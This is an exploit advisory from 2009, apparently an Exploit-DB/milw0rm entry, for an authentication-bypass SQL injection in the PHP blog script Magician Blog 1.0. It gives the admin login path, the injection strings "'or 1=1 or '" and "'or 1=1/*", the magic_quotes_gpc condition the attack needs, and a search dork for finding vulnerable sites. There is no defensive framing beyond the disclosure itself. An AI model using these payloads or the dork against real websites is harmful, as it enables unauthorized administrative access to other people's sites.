Magician Blog <= 1.0 Auth Bypass SQL Injection Vulnerability

2009-07-27T00:00:00
ID EDB-ID:9283
Type exploitdb
Reporter Evil-Cod3r
Modified 2009-07-27T00:00:00

Description

Magician Blog <= 1.0 (Auth Bypass) SQL injection Vulnerability. Webapps exploit for php platform

                                        
                                            ==============================================================================
                      _      _       _          _      _   _
                     / \    | |     | |        / \    | | | |
                    / _ \   | |     | |       / _ \   | |_| |
                   / ___ \  | |___  | |___   / ___ \  |  _  |
   IN THE NAME OF /_/   \_\ |_____| |_____| /_/   \_\ |_| |_|
                                                        

==============================================================================
        [»] ~ Note : Been Repoted The Programed
==============================================================================
        [»] Magician Blog &lt;= 1.0 (Auth Bypass) SQL injection Valunrability
==============================================================================

    [»] Script:             [ Magician v1.0 ]
    [»] Language:           [ PHP ]
    [»] home:               [ www.4smart.net ]
    [»] Founder:            [ Evil-Cod3r &lt;IE7@Windowslive.com - o41@hotmail.Com&gt; ]
    [»] Gr44tz to:          [ Recru1t Qabandi - Sniper Code - Mr.SaFa7 - The g0bL!N - S4S-T3rr0ist ]
    [»] Dork:               [ "Powered By 4smart" ]
    [»] Price:              [ $300 But i Scanned The Nulled !! ]

###########################################################################

You Need magic_quotes_gpc = off

===[ Exploit SQL  ]===  
  
    [»] http://www.Site.com/path/admin
    [»] Exploit :
    First : 'or 1=1 or '  & or & 'or 1=1/*
 

Author: Evil-Cod3r &lt;-

###########################################################################

# milw0rm.com [2009-07-27]